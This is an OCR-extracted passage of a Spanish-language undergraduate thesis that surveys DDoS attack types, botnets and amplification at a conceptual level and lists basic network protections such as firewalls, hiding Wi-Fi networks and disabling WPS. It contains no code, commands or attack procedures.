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RESUMEN
En un mundo globalizado las entidades demandan del uso del internet. La investigacion parte
de la problematica con los ataques de denegacion de servicios distribuidos DDoS, se pretende
evaluar los ataques DDoS en sistemas de redes domeésticos, comerciales y educativos, utilizando
un sistema de red que permita identificar como acttan dichos ataques en la saturacion del ancho
de la banda. La metodologia de la investigacion fue Top-Down Network Desing la cual permitié
disefiar y elaborar tantos los sistemas de red como la evaluacion de vulnerabilidades ante
posibles ataques. Por lo tanto, se determind que existen diferentes formas de proteccion:
ocultando la red wi-fi, desactivar el wps en el router y bloqueo de dispositivos externos.
Ademas, es recomendable que las entidades hagan frente a estas amenazas y contraten servicios
DDosS para protegerse de estos ataques cada vez mas comunes y mas potentes en el &mbito de

la seguridad informatica.
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ABSTRACT
In a globalized world; entities demand internet and technology use. The investigation starts
from the problem of new threats types such as DDoS distributed denial of service attacks since
it saturates network service causing economic and information losses, for which computer
attacks were analyzed, especially DDoS. Studying their characteristics and how they have
affected different organizations. Therefore, it is intended to evaluate DDoS attacks in home,
commercial and educational network systems, using a network system that allows to identify
how these act oven bandwidth saturation to minimize cyber-attack impact. The research
methodology was Top-Down Network Desing, which allowed designing and developing many
network systems the evaluation of vulnerabilities against possible attacks. In addition, it was
determined there are different forms of protection: hiding wi-fi network, deactivating the wps
in the router, blocking external devices, updating firewall, changing the IP of the router,
mitigating the risks in different, antivirus activated at used devices, allowing to mitigate
computer risks at different entities, despite the fact that the attacks evolve, becoming more and
more sophisticated and, therefore, more difficult to mitigate. Because this, It is recommended
entities face these threats and hire a DDoS service to protect themselves from these increasingly

common and powerful attacks at computer security field.

Keywords: DDoS attacks, internet, Methodology, router, wi-fi, computer security.
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2. INTRODUCCION
2.1. PROBLEMA

En la ultima década, la seguridad de los sistemas informaticos ha aumentado en igual
proporcion al avance tecnoldgico, convirtiéndose en un factor base en el desarrollo economico
y social de entidades publicas o privadas. Por tal motivo, el desarrollo y andlisis de modelos de
seguridad es de vital importancia e indispensable en la proteccién de los datos. Los datos se los
pueden localizar en cualquier &mbito o area, donde las computadoras son una fuente de
almacenamiento eficiente en la manipulacion de informacion, ademas llegando a ser un punto
clave para los atacantes que tengan como objetivo a entidades con mayor flujo de datos. En la
actualidad, los ataques de DDoS son una de las formas més comunes para los ciberdelincuentes.
Estos suelen planificar el momento del ataque para maximizar el dafio mediante métodos de
hacking que se inician mediante la propagacion de un malware a traves de emails, descargas
online, servidores, envio de paquetes o datos. Con esto los hackers establecen el control remoto
de los servidores y los dispositivos infectados, permitiéndoles dirigir una enorme y continua
cantidad de trafico hacia estos dispositivos hasta que colapsan. En la actualidad las redes
informaticas estan propensas a sufrir ataques informaticos poniendo en riesgo la integridad de
la informacidn que se transmite. Por tal motivo, el principal objetivo de la investigacion es
implementar un modelo de seguridad para la deteccion de ataques de DDoS y sus diferentes
formas de proteccion.

2.1.1. Situacién Problemética:

Teniendo en consideracion la vulnerabilidad de los sistemas informaticos que son afectados de
forma inesperada o prevista por los atacantes, aquellos que producen dafios grandes a estos
sistemas que pueden causar pérdidas de informacién y mas aun la pérdida de estos equipos,

estos afectan directamente al disco duro, o al ancho de banda del mismo.

Indicé que mientras la prensa tiende a centrarse en las victimas de los ataques DDoS, lo cierto
es que hay mas afectados por estos ataques — como son todos los sistemas afectados y
controlados por el intruso [1]. Aungue los propietarios de estos equipos no siempre estan al
tanto de la debilidad de sus equipos, si es cierto que pueden sufrir de errores, problemas de
funcionamiento y degradacién del servicio, tanto los propietarios como los usuarios del sitio

afectado sufren los efectos del ataque [1]. Yahoo!, Buy.com, RIAA o la oficina de Copyright

2



de Estados Unidos son algunas de las victimas de estos ataques DDoS. Unos ataques que
también pueden provocar mayores dafios por encadenamiento. Por ejemplo, en octubre de 2012

un ataque masivo DDoS dejo a todo el pais de Myanmar desconectado.

Segun larepablica [1], mientras se transmitia las noticias informativas, varios canales han sido
blanco de ataques de denegacion de servicio en algunos de sus sitios web, medios de
comunicacion como: El diario, EI Comercio y Teleamazonas han comunicado problemas para
ingresar a varias de sus plataformas, de igual manera diversos usuarios se quejaron e informaron

mediante redes sociales que no podian acceder al portal del canal Ecuavisa.

Las tentativas de censura que existen en el pais no son hechos aislados, ya que mientras se
transmitian algunas de las marchas de los dias 10 y 11, varios medios de comunicacion fueron
atacados, eso nos hace pensar que aquellos individuos que buscan impedir que ciertos canales
informativos cumplan con su deber, seran capaces de infiltrarse en las plataformas que les

pertenecen a los mismos con el fin de esconder la verdad.

Jonathan Finlay destac6 en uno de sus articulos que, en el Ecuador, preexiste el Codigo Integral
Penal en su seccidn cuatro, articulo 232, el cual recalca que las acciones realizadas para causar
mal funcionamiento o comportamiento no deseado de sistemas de tratamiento de informacion,
telematico o de telecomunicaciones, pueden ser consideradas como delitos con sanciones de

privacion de libertad de tres a cinco afios, protegiendo asi la integridad de la poblacion [1].

La Universidad de Texas en Austin y el Centro Knight que constan con la carrera de periodismo
explica las consecuencias de los ataques cibernéticos que empiezan a hacerse mas usuales en
Ameérica Latina, iniciando asi con la reduccién de espacios criticos que contribuyan al debate
sobre la exhibicion de conductas inconcebibles y abusos del poder por parte de distintos
politicos dando paso a la corrupcion, presentandose asi una infinidad de amenazas directas e

indirectas a los periodistas [1].

Estas interrupciones en el servicio comunicativo, imposibilitan que los ciudadanos se informen
de algun hecho en particular. Los atentados informaticos ocurren casi siempre como resultado
de algun tipo de publicacidn que se hizo, sin consentimiento de los implicados, dando como
resultado una serie de conflictos que perjudican a los periodistas y las plataformas para quienes
trabajan.



En varios de los casos los servicios de internet utilizados por las empresas deben ser seguros,
para que, si se presentan anomalias en sus plataformas, estas puedan bloguearse desactivando
asi las conexiones automatizadas, que intentan dejar sin recursos a los servidores y colapsar la
red de los mismos. Sin embargo, si se presentan estos ataques los sitios suelen invalidar el

acceso de los usuarios mientras se genera la nueva configuracion de cada direccion web.

2.1.2. Formulacién del problema

¢Como evaluar ataques DDoS en sistemas de red y buscar técnicas de proteccion?

2.2. Objeto y campo de accidon
Objeto: Ataque DDoS

Campo: Proteccion en sistemas de red

Dentro del objeto de investigacion se considerara el conocimiento que existe en la actualidad
sobre lo que son los ataques de denegacion de servicios distribuidos (DDoS), se contextualiza

lo siguiente:

Dentro de las investigaciones realizadas por Francisco Mieres [2], encontramos que los ataques
de denegacion de servicio distribuido DDoS (Distributed Denial of Service) por sus siglas en
inglés, son un tipo de DoS en el cual el envio de peticiones esta realizado por varios atacantes,
generalmente estos tipos de ataques se realizan a través de botnets, que habitualmente estan
compuestas por ordenadores que han sido infectados y son controlados a distancia por los

atacantes.

Mientras que para Marcelo Martinez [3], los ataques DDoS son los mas frecuentes y aumentan
a diario debido al inmenso desarrollo de redes informéticas y en conjunto a varias aplicaciones
que causan dafio a las redes y sistemas de informacién. Por ejemplo, los botnets son una
amenaza critica que tienen como consecuencia disminuir el ancho de banda y los recursos de

los sistemas [3].

Existen distintos tipos de ataques DDoS esto ya depende del modo de ataque y de los recursos

afectados.

Los ataques DDoS segun el modo de ataque estan divididos en dos como son los ataques

directos y también los ataques indirectos.



Segun Francisco Mieres [2], El ataque directo se realiza mediante las peticiones ilegitimas se
envian directamente contra el host objetivo sin enmascarar las IPs atacantes, mientras que los
ataques indirectos son mas complejos ya que se redistribuye el trafico de las peticiones a traves
de intermediarios antes de atacar al host objetivo, de esta manera se ocultan las IPs atacantes,
que son mas dificiles de localizar. Ademas, el ataque indirecto permite llevar a cabo la técnica
de amplificacion, mediante la cual los propios dispositivos que actian como intermediarios

multiplican los paquetes, incrementando asi la potencia del ataque [2].

En el proyecto de investigacion de Marcelo Martinez [3], menciona que los ataques se los
pueden clasificar de acuerdo a su taxonomia es decir por su grado de automatizacion,

exploracion de vulnerabilidades, tasa de ataque dinamico y segln su impacto.

Un ataque segun la clasificacién es UDP Flood, este tipo de ataque, hace que el atacante envie
un gran volumen de paquetes IP con datagramas UDP a un puerto aleatorio de la victima[3]. El
envio excesivo de datagramas UDP puede producir la caida 6 del sistema, dicha victima podria
ser un Servidor de Nombres de Dominio (DNS) que es un sistema distribuido jerarquico cuya
funcidn es traducir las direcciones IP en etiquetas de servicio de red, los DNS utilizan una base
de datos distribuida y jerarquica que almacena informacién asociada a nombres de dominio en
redes como Internet, se puede decir que este protocolo esta definido en RFC 1034 y en el RFC

1035 usa UDP como protocolo de capa transporte y trabaja en el puerto 53 por defecto[3].

Para Marcelo Martinez [3], otro ataque conocido SYN Flooding, es uno de los ataques DDoS
mas utilizados, la inundacion SYN funciona aprovechando las debilidades del protocolo de
control de transmisién (TCP), el paquete SYN es un tipo de paquete en el Protocolo de Control
de Transmision (TCP) que requiere establecer una conexion entre dos hosts. Es una solicitud

enviada por el host para hacer una conexion.

Para lo que es el campo de accion hablaremos sobre las técnicas de proteccidn de un sistema de

red, estas técnicas estan enfocadas en proteger un sistema de red cuando se da un ataque DDoS.

Para ello hay que conocer qué es seguridad, segun el autor Fernandez [4], menciona que la
seguridad en la red se ha convertido en un esfuerzo sumamente importante y que presenta

grandes desafios para las organizaciones hoy en dia, la finalidad es proteger la informacién



confidencial e importante para brindar un servicio sin interrupciones evitando que diversas

anomalias causan que los servicios se detengan.
Algunas de las protecciones tanto de software como de hardware son las siguientes:

Uso de firewall: Es un dispositivo que deniega las conexiones entrantes no autorizadas y regula
el trafico de la red [5].

Segun Vanessa Quintana [5], Wanguard amplia las funciones de Wansight con la integracion
de funciones avanzadas de deteccion y mitigacion de ataques DDoS. Esta concebido para
proteger redes y servicios imprescindibles contra ataques volumétricos de denegacion de
servicio distribuido mediante la normalizacion (scrubbing) de paquetes maliciosos con reglas
de filtrado dindmicas aplicadas a firewalls de hardware o software ubicados en el perimetro de
la red. Es compatible con herramientas de reaccion automatizadas, RTBH, BGP FlowSpec,

desviacion del trafico, creacion de scripts y agrupamiento de servidores [6].

2.3. Beneficiarios

Ambiente doméstico

El trabajo se realizd en un ambiente doméstico en las residencias de los dos tesistas lo cual se
realiz6 con un router Tp-link y otro Huawei para hacer los ataques DDoS con el proposito de

generar sus respectivas protecciones para que no exista saturacion del internet.
Ambiente comercial

El trabajo se realizé en un ambiente comercial con un router Nexxt Nebula 300 plus en el ciber
de la Universidad Técnica de Cotopaxi para hacer los ataques DDoS con el propésito de generar

sus respectivas protecciones para que no exista saturacion del internet.
Ambiente educativo

El trabajo se realizd con un router Cisco linksys en la Unidad Educativa Machachi para hacer
los ataques DDoS con el propdsito de generar sus respectivas protecciones para que no exista

saturacion del internet.


https://www.andrisoft.com/es/software/wanguard
https://www.andrisoft.com/es/software/wanguard/ddos-mitigation-protection

2.4, Justificacion

Una de las caracteristicas principales de la sociedad actual, es el uso del internet en los
diferentes &mbitos por lo cual la informacion y los procesos de las diferentes entidades
requieren ser protegidos de las inseguridades que se puede encontrar en las redes de datos y los
sistemas informaticos frente a amenazas que pongan en peligro la disponibilidad, la integridad,
la confidencialidad de la informacién, la estabilidad de los procesos, los niveles de
competitividad, la imagen corporativa, la rentabilidad y la legalidad, aspectos necesarios para
alcanzar los objetivos en los diferentes ambitos: educativo, comercial y domestico. Por lo cual
se va a realizar una comparacion de 4 routers para verificar cual de ellos es el mas vulnerable y
el mas seguro y asi investigar e implementar una solucion que permita contrarrestar los
problemas de seguridad informatica ya que sigue apareciendo nuevas técnicas de ataque para

las que es necesaria la adaptacién de mecanismos de defensa oportunos.

Por todo lo expuesto es importante determinar cuales son las diferentes protecciones y las
estrategias a utilizar para que no exista una saturacion en la red que se esté utilizando siendo

los beneficiarios las diferentes entidades.

2.4.1. Hipdtesis
La implementacion de técnicas de proteccion ante ataques DDoS permitiran mejorar los niveles

de seguridad en redes informaticas.

2.5. OBJETIVOS

2.5.1. Objetivo General

Evaluar los ataques DDoS a un sistema de red y sus diferentes formas de proteccion en un
ambiente domeéstico, comercial y educativo mediante la implementacion de protecciones para

contrarrestar los problemas de seguridad informatica.

2.5.2. Objetivos Especificos

e Fundamentar tedricamente los ataques DDoS a un sistema de red y sus diferentes formas de
proteccion.

e Realizar un sistema de red y la evaluacion de los ataques DDoS mediante un ambiente

Educativo, Comercial y Doméstico en un ambiente controlado.



Comprobar sus diferentes formas de proteccion de ataques DDoS en los diferentes

ambientes controlados.

2.5.3. Sistemas de tareas

Tabla 1. Sistema de tareas.

Obijetivos especificos Actividades Resultados Técnicas.
esperados Medios e
instrumentos
Realizar una investigacion | - Comparacion | -Conocimiento -Revistas
bibliografica sobre los | de fuentes | sobre los ataques | cientificas
ataques DDoS a un | bibliogréaficas. DDosS.
-Proyectos de
sistema de red y sus . L
investigacion.
diferentes formas de
proteccion.

Realizar un sistema de red
mediante una simulacion
analizar el
comportamiento del
DDoS vy su

mecanismo de deteccidn.

para

ataque

- Creacion de un

sistema de red

-Crear maquinas

virtuales.

- Reconocimiento
de las formas de
proteccion ha
ataques DDoS.

-Revistas

cientificas

-Proyectos de

investigacion.

Comprobar sus diferentes
formas de proteccion de

ataques DDoS.

- Comparacion
de resultados con

la simulacion.

Realizacién de

pruebas.

- Ejecucion de la

simulacion.

-Simulacion en
maquinas

virtuales.

Fuente: Grupo Investigativo




3. FUNDAMENTACION TEORICA
Dentro del objeto de investigacion y considerando el conocimiento que existe en la actualidad
sobre lo que son los ataques de denegacion de servicios distribuidos (DDoS) y las técnicas de

proteccion para sistemas de red, se contextualiza lo siguiente:

3.1.  ¢Qué es un ataque informatico?

Segun la investigacion de Francisco Mieres [2], un ataque informatico consiste en aprovechar
alguna debilidad o vulnerabilidad en el software, en el hardware, e incluso, en las personas que
forman parte de un ambiente informatico, a fin de obtener un beneficio, por lo general de indole
econoémico, causando un efecto negativo en la seguridad del sistema, que luego repercute

directamente en los activos de la organizacion.

Los ataques informéaticos son muy a menudo a nivel mundial, pero muchos de ellos son capaces
de romper cualquier tipo de seguridad ya sea de empresas, instituciones u organizaciones, estos
ataques pueden ser de manera controlada que ayuden a buscar falencias y a su vez poderlas
buscar formas de proteccion, pero también pueden ser ataques maliciosos para hacer dafio o

para buscar algun beneficio.

Para Marcelo Martinez [3], un ataque a la seguridad de red produce un acceso no autorizado,
denegando el sistema a través de estas anomalias que acechan en la actualidad, por lo que

existen diversos tipos de ataques 0 amenazas.

3.2.  ¢Qué esingenieria social?

La Ingenieria Social, cuyo nombre se confunde con algo positivo, no es hada mas que la forma
de hackear a seres humanos, siendo éste un método de ataque no convencional que se
fundamenta en la manipulacion de las personas por medio de estrategias de engafio con el Unico
fin de obtener un acceso privado o informacion confidencial para ser utilizada en actividades
fraudulentas y que ocasionan dafio a dichas personas o instituciones[7]. En este sentido, se han
desarrollado diferentes técnicas que pueden ser clasificadas segln el recurso que desean atacar,
por lo tanto, podemos decir que existen técnicas de Ingenieria Social basada en computadores

y técnicas de Ingenieria Social basada en el recurso humano [7].

Segin Edgar Castellanos [7], respecto a las técnicas basadas en computador, éstas se

caracterizan por hacer uso exclusivo de herramientas informéticas para la realizacion de los
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ataques, entre ellas podemos indicar las siguientes: Phishing o envio de correos falsos los cuales
invitan al usuario a registrarse en web fraudulentas para obtener informacion privada o también
incorporan archivos maliciosos o malware que tienen el mismo objeto; Spam o correo no
deseado, que en muchos casos buscan colapsar servidores o los correos de usuario y con ello,
intentar hacer ataques de phishing; Pop-ups, o ventanas emergentes las cuales son utilizadas

por los que practican la Ingenieria Social para introducir codigos maliciosos.

Respecto a las técnicas basadas en el recurso humano, éstas han sido la que mayor trascendencia
han tenido dentro de la Ingenieria Social, y se basan en aprovechar las caracteristicas intrinsecas
gue como humanos tenemos: curiosidad, deseo, codicia, miedo incluso la bondad, las cuales

son estudiadas con el fin de obtener fraudulentamente informacion[7].

En este sentido, podemos indicar las siguientes técnicas basadas en el recurso humano:
Suplantacion de identidad, Espiar por encima del hombro, Buscar en la basura, Ingenieria Social
Inversa, Desarrollar Confianza, Afectividad, Sobrecarga, Reciprocidad, Relaciones basadas en

Engafios y Escuchar detras de las Puertas, todas ellas aplicadas para fines fraudulentos[7].

De igual forma para Edgar Castellano [7], la forma de engafio basada en el recurso humano ha
crecido tanto que con el paso de los afios muchas instituciones no solamente centran su
necesidad de seguridad en la parte fisica, sino que también, en el recurso humano dando
capacitaciones constantes, pruebas de seguridad y aplicando herramientas preventivas y
correctivas. Desafortunadamente, esto no es la constante y actualmente muchas Instituciones
de Educacion Superior, empresas e incluso usuarios privados en el mundo han sido la

plataforma de despegue de grandes ciberataques, algunos de ellos son como ataques DDoS.

3.3.  Ataques de denegacion de servicios (dos).
Los ataques de Denegacién de Servicio o DoS (del inglés Denial of Service) constituyen una
amenaza creciente en los Gltimos afios, habiendo Ilegado a convertirse en un auténtico desafio

en el area de la seguridad en sistemas de informacion [4].

Entre sus objetivos se encuentran empresas, organismos gubernamentales, bancos, ejércitos o
servicios como universidades, hospitales y aeropuertos, los ataques DoS consisten en bloquear
los servicios de red a los usuarios legitimos, a su vez se han convertido en un gran problema

actual en lo referente a la seguridad de internet, este tipo de ataques representa la primera causa
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de pérdidas en las empresas de Reino Unido y la segunda en Estados Unidos dentro del ambito

del cibercriminal [4].

Segun Daniel Pefia [8], entre los ataques mas faciles de ejecutar y dificiles de defender se
encuentran los conocidos ataques DoS o denegacion de servicio, que tiene como objetivo agotar
los recursos de un sistema informatico como son el ancho de banda o el tiempo de
procesamiento, por lo que el servicio se interrumpe temporalmente o permanente, tales como
el servicio de internet, bases de datos o un sitio web, mediante la realizan de solicitudes
multiples en un momento dado a la computadora de destino o al equipo que se encuentra
vulnerable, comprometiendo asi a los atributos de seguridad, los protocolos con mayor

prioridad para ser vulnerables a este tipo de ataques son los SMTP, DNS Y NTP.

3.4.  Ataques de denegacion de servicios distribuidos (DDoS):

La técnica de ataques DDoS aparecio en el afio de 1998 y que en la actualidad es uno de los
ataques mas dificiles de detectar y a su vez mas eficientes por ser distribuida de manera
distribuida.

La Denegacidn de Servicio Distribuido (DDoS) es considerado un ataque peligroso que infecta
de gran cantidad de peticiones ficticias a un determinado servicio de la red, con estos ataques
se logra que el servicio se detenga, generando una sobrecarga en la utilizacion del mismoy, por

lo tanto, un incremento exponencial de anomalias [3].

Para Jorge Pincay [9], un ataque de denegacion causa la interrupcion de uno o varios servicios
mediante el consumo excesivo de alguno de estos recursos en el servidor o elementos de red

intermedios.

Los ataques DDoS o también conocidos como ataques de denegacion de servicios distribuidos
son aquellos ataques dirigidos por multiples computadoras llamadas “bots” o “zombies”, que
son redes de computadoras controladas de forma remota por un atacante para realizar ataques

masivos a un objetivo especifico o a un sistema [10].

También Jessica Baez [10], menciona que dichos ataques tienen como objetivo provocar el
agotamiento de los recursos de la red, para que dicho servicio se vea obstaculizado o detenido,

lo que lleva a la falta de disponibilidad de servicio.
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Figura 1. Arquitectura de un Ataque DDoS [9]
Fuente: Jorge Pincay, 2017

Los ataques DDoS son los mas frecuentes y aumentan a diario debido al inmenso desarrollo de
redes informaticas y en conjunto a varias aplicaciones que causan dafio a las redes y sistemas
de informacion, por ejemplo, los botnets son una amenaza critica que tienen como consecuencia

disminuir el ancho de banda y los recursos de los sistemas [3].

Este tipo de ataques han ido mejorando, desde lo més sencillo con él envio6 de un flooding sobre
la victima desde un origen conocido, hasta los ataques un poco mas complejos como son ataques
distribuidos amplificados y que se aprovechan de distintos exploits de ciertas aplicaciones [3].

Para el autor Herranz Gonzales [4], afirma que las motivaciones para realizar los ataques DDoS
pueden ser por causas muy diversas, aungque principalmente se deben a los siguientes motivos:
econdémicos (la victima se encuentra ante la disyuntiva de pagar o tener sus servidores

colapsados), como distraccion para otro ataque mayor, o circunstancias politicas.

El gran aumento de ataques DDoS registrado en los ultimos afios se debe, entre otros factores,
a la facilidad para conseguir las herramientas, los escasos conocimientos necesarios para poder
hacer un ataque de este tipo, la ausencia de mecanismos efectivos de defensa y la aparicion de

individuos o grupos que venden sus servicios (botnets, servidores infectados, asesoramiento,
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entre otras) para facilitar la labor al atacante y poner a su alcance todas las herramientas

necesarias [4].

El ataque DDoS que se da por un conjunto de varios atacantes desde mdultiples localizaciones
es posible, pero requiere un trabajo de coordinacion, ya que todos los origenes deben atacar al
mismo objetivo a la vez, para dar solucidn a este problema se han creado varios softwares o
varios codigos que permiten la utilizacion de dispositivos de terceros, con o sin su

conocimiento, para el envio de peticiones simultaneas desde ellos [9].

Para Jorge Pincay [9], los atacantes usan a menudo los conocidos botnets, que son solo un
pufiado de computadoras equipadas con este tipo de software que generalmente son instaladas
al descargar sin saberlo o malware para realizar mas solicitudes y ocultar sus origenes, es asi
que como que con esta técnica se genera un ataque con una multiplicacion del nimero de

peticiones.

A veces, la victima dispone de una politica de seguridad que s6lo permita el trafico a un
determinado servicio desde unas pocas IPs, para saltar esta seguridad, los atacantes utilizan una
técnica llamada ataque reflexivo que se usan dispositivos de terceros que permanecen

permitidos dentro de la victima y asi lograr hallar un vector de ataque [9].

Segun Jorge Pincay [9], a parte de esta multiplicacion en el nimero de peticiones que se ha
visto con el ataque desde botnets, también se puede amplificar el tamafio de los paquetes,
haciendo que, a partir de pequefias peticiones, se generen flujos de trafico de mayor tamafio,

que se destinan a la victima que esta siendo atacada.

Los ataques DDoS amplificados son muy efectivos para agotar los recursos de ancho de banda
de la victima, ya que por ejemplo, en el caso del atague de DNS amplificado que se vera mas
adelante, con una peticion de 60 bytes del atacante, se puede generar una respuesta, recibida
por la victima, de mas de 3Mb, es decir, mas de 50 veces el trafico generado por un solo
atacante, por lo que si este tiene, por ejemplo, un ADSL con Unicamente 1 Mbps de subida,

podria generar un caudal de 50 Mbps que recibiria la victima [9].

Si a este trafico le sumamos 15 atacantes la victima como minimo necesitaria 500 Mbps de

conexion a la red para asi poder recibir todo este cumulo de trafico y paquetes [9].
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Para terminar, si este ataque se realiza con una botnet, donde existen cientos y miles de zombis
en muchas de ellas, y a la vez se utiliza esta técnica de amplificacidn, se podrian generar Gigas

de trafico que colapsaria cualquier conexion publica que pueda tener la victima [9].

Para la empresa de seguridad como es Kaspersky asegura que en el primer trimestre de 2022 se
detectaron 91 052 ataques DDoS, de los cuales un gran porcentaje fueron de inundacion UDP,
estos ataques se los vieron mas reflejados en paises como Rusia, Estados Unidos y China, dentro
de lo que compete un ataque DDoS a un sistema de red aumentaron en un 71% interanual en el
primer trimestre en lo que son ataques de la capa de red, pero disminuyeron un 58% en términos

Inter trimestrales [11].

Uno de los sectores mas afectados por este tipo de ataques fue el de las telecomunicaciones,
seguido por las empresas de apuestas, videojuegos y los sectores de tecnologia de la

informacion y servicios [11].

Como se conoce los ataques DDoS van aumentando cada afio, segun el tipo de atacante que sea
0 por las necesidades de ciertas empresas y las seguridades de las mismas, es por ello que
ninguno esta absuelto a recibir este tipo de ataque, por lo cual se debe buscar formas de evitar
0 proteger nuestra red de estos ataques, que solo buscan pérdidas econdémicas o un colapso

temporal de varias actividades.
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3.4.1. Tipos de ataques DDoS.
En la actualidad estos ataques se pueden clasificar en 2 tipos que son inundacién y

vulnerabilidad.

Segun Gonzales Rommel [12] manifiesta que es importante una clasificacion adecuada para

entender el tipo de ataque de DDoS al que estamos enfrentando.

Atagues DDoS

Grado de Vulnerabilidad T T T
Automatizacion Explotada p
g — g — g — g ——
- Manual . Inundacién = Continuo - Disruptivo
R——————————— S ——
e —— e — e — e —
- Automatico |  Amplificacién - Variable : Degradante
N———————————— N——————————— N——————————— N———————————
T —
. . Explotacion de
Aut t|
| Semi Automatico Protocolo
M————— N——————
e
o Paquetes
Malformados

Figura 2. Clasificacion de ataques DDoS [12]
Fuente: Rommel Gonzales, 2021

Para Marcelo Martinez [3] los tipos de ataques de denegacion de servicios distribuidos estan
basados en la taxonomia clasificAndolos por su grado de automatizacion, exploracion de

vulnerabilidades, tasa de ataque dinamico y segun su impacto

Mientras que para el autor Gonzales Rommel [12] los tipos de ataques DDoS estan
clasificados por su grado de automatizacion, por su vulnerabilidad explotada, su indice

dindmico y por su impacto.
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v Grado de Automatizacion

Manual: Implica analizar el host que se quiere atacar para encontrar agujeros de bucle,
y poder penetrarlos para instalar codigos de ataques [12].

Automatico: Es cuando un solo ataque inicia todo el proceso de DDoS [12].

Semi Automatico: Es cuando el atacante debe insertar los scripts de forma manual en
los controladores, y organizar el ataque, para luego desplegarlo de forma automatica

controlando a los zombies o botnets [12].

v" Vulnerabilidad Explotada:

Inundacion: Implica congestionar el ancho de banda de la victima, enviando una gran
cantidad de tréfico [12].

Amplificacion: Aqui se utilizan las caracteristicas de la direccion IP de difusion, donde
se ordena a los routers que transmiten paquetes de datos fuera de la red a cada IP dentro
del rango de difusion [12].

Explotacion de Protocolo: es cuando se aprovecha el atributo o error especifico de un
protocolo especifico en el sistema de la victima, de modo que se pueda consumir todos
los recursos posibles [12].

Paquetes Malformados: Basicamente es cuando se altera un paquete colocando la
misma direccion IP de origen en la IP de destino, haciendo que el sistema de la victima

se confunda y luego falle [12].

v Indice Dindmico:

Continuo: Son ataques que se realizan con fuerza, sin detenerse, ocasionando un rapido
impacto [12].
Variable: Son ataques que se realizan de forma con una velocidad creciente, fluctuante,

haciendo maés dificil la deteccion del ataque DDoS [12].

v' Impacto:

Disruptivo: Es cuando se corta la comunicacion entre 2 dispositivos, resultando un DoS

completo [12].
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e Degradante: Solo consume cierta cantidad de recursos de la victima, causando retraso

en la deteccion y un gran dafio en el sistema atacado [12].

Un tipo de ataque segun dicha clasificacion es UDP Flood. Un ataque de esta naturaleza es
posible cuando el atacante envia un gran volumen de paquetes IP con datagramas UDP a un
puerto aleatorio de la victima [3]. El envio excesivo de datagramas UDP puede producir la caida
6 del sistema [3].

Segun Marcelo Martinez [3], la victima podria ser un Servidor de Nombres de Dominio (DNS)
gue es un sistema distribuido jerarquico cuya funcion es traducir las direcciones IP en etiquetas
de servicio de red. DNS utiliza una base de datos distribuida y jerarquica que almacena
informacion asociada a nombres de dominio en redes como Internet. Este protocolo esta
definido en RFC 1034 y en el RFC 1035 usa UDP como protocolo de capa transporte y trabaja
en el puerto 53 por defecto [3].

Segun Marcelo Martinez [3], afirma que otro tipo de ataque muy conocido es SYN Flooding,
es uno de los ataques DDoS que aparecieron por primera vez y hasta ahora es el mas utilizado,
la inundacion SYN funciona aprovechando las debilidades del protocolo de control de
transmision (TCP), la figura 1 sobre los ataques DDoS muestra el mecanismo de un ataque de
inundacion SYN, el paquete SYN es un tipo de paquete en el Protocolo de Control de
Transmision (TCP) que requiere establecer una conexion entre dos hosts, es una solicitud

enviada por el host para hacer una conexion.

Syn Flood: Es el mas comun de todos, este ataque se basa en la esencia del protocolo de
conexion TCP [13].

Connection Flood: La dificultad del servidor para atender un gran nimero de peticiones al
mismo tiempo, si un atacante realiza 10,000 peticiones al servidor este estara ocupado por un
periodo de tiempo, conforme caduquen las conexiones el atacante vuelve a establecer mas

conexiones impidiendo asi que los clientes utilicen el servicio [13].

ICMP Flood: Este ataque también es conocido como “Ping-Pong”, como una conversacioén por
MSN donde los encargados contestan siempre a las personas gue lo solicitan, entonces reciben
un mensaje que dice: ¢estas? y responden: Si, y les vuelven a decir ¢estas? y responden: Si'y
asi contindan por varios minutos [13].
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UDP Flood: Este ataque utiliza el protocolo de conexion UDP para enviar una gran cantidad de
paquetes al servidor utilizando muchas conexiones al mismo tiempo, ocasionando que los
recursos (Memoria, Procesador) del servidor sean insuficientes para manipular y procesar la

cantidad de informacion, en consecuencia, el sistema se bloquea [13].

3.4.2. Caracteristicas de los ataques DDoS.

Una buena practica en la resolucién de un problema consiste en analizar y detectar sus puntos
fuertes y sus puntos débiles, esto permite decidir qué rumbo se tomarad para atacar dicho
problema, evitando enfrentar sus fortalezas y concentrandose en aquellas caracteristicas que
conduzcan mas rapidamente a su solucion, las caracteristicas de los ataques de inundacion
DDoS que los hacen més efectivos para los propdsitos del atacante y, por tanto, mas dificiles
para la defensa [14]. A continuacidn, se presentan estas caracteristicas:

e Simplicidad. En Internet, se pueden encontrar muchas herramientas que pueden ser
facilmente descargadas, comprendidas y puestas en accion. Permiten que el
reclutamiento de agentes y “zombies”, asi como su activacion, se realicen de manera
automatica, lo que conlleva a que usuarios inexpertos hagan uso de ellas. Son
herramientas muy sencillas, pero capaces de generar ataques muy efectivos con poco, o
ningun esfuerzo [14].

e Variedad de trafico. Las similitudes entre el trafico de ataque y el trafico legitimo
hacen que sea extremadamente dificil detectar y filtrar el ataque, a diferencia de otras
amenazas como Virus 0 gusanos, que utilizan paquetes especialmente disefiados, los
ataques de inundacion sélo requieren una gran cantidad de trafico y el contenido del
paquete y los valores del encabezado se pueden cambiar a voluntad [14].

e Falsificacion de direcciones IP (IP spoofing). Esta estrategia da la impresion de que
el tréfico de ataque proviene de méas de un cliente legitimo, esto dificulta la
identificacion de clientes legitimos y atacarlos con sus direcciones IP [14].

Si se elimina la suplantacion de IP, es probable que los revendedores se distingan de los
clientes legitimos debido a su alto modelo de distribucion, ante la "suplantacion de IP",
la victima recibe una gran cantidad de solicitudes de servicio de muchas fuentes, que

parecen ser usuarios legitimos [14].
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Las victimas pueden notar un aumento repentino e inusual en el trafico, aceptar que
estan bajo ataque y rechazar los paquetes entrantes, pero de esta manera negaran el
servicio a los usuarios legitimos, causando DoS, si el ataque se prolonga, las pérdidas
pueden ser sustanciales [14].

Alto volumen de tréafico. El gran volumen de trafico de ataque a la victima no solo
abruma los recursos atacados, sino que también dificulta la clasificacién del trafico,
mecanismo de defensa que se ocupa del trafico paquete por paquete, el principal desafio
de una herramienta de defensa DDoS es distinguir entre el trafico legitimo y el trafico
de ataque, a altas tasas de la recepcion de paquetes[14].

Numerosas maquinas “zombies” o agentes. La fuerza de un ataque DDoS radica en
el hecho de que hay muchos agentes o "zombis™ que se distribuyen en Internet, con
tantos agentes, un atacante puede alinear sus recursos con los de redes mas grandes y
puede cambiar su patron de ataque, activando subconjuntos de agentes durante un
periodo de tiempo o enviando muy pocos paquetes de cada agente [14].

